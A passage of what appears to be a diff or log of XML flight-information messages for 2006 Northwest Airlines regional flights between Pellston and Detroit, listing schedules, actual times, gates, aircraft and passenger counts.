</delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T21:51:07Z</msg_dtm><msg_seq_id>114617466700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T18:05:00</on_dtm><on_tme_type_cde>R</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:15:00</in_dtm><in_tme_type_cde>R</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T22:12:18Z</msg_dtm><msg_seq_id>114617593800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T18:12:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:22:00</in_dtm><in_tme_type_cde>R</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T22:21:28Z</msg_dtm><msg_seq_id>114617648800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T18:12:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:21:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:14:24Z</msg_dtm><msg_seq_id>114619046400000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T22:14:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T22:24:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T23:36:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T23:41:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3203</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>11:41pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>26</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:17:45Z</msg_dtm><msg_seq_id>114619066500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C14</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:32:39Z</msg_dtm><msg_seq_id>114619155900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T22:14:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3203</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>26</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:22Z</msg_dtm><msg_seq_id>114619286200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:16:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T16:00:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:39:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:43:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Arrived</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>41</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>39</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:23Z</msg_dtm><msg_seq_id>114619286300000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T22:14:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> 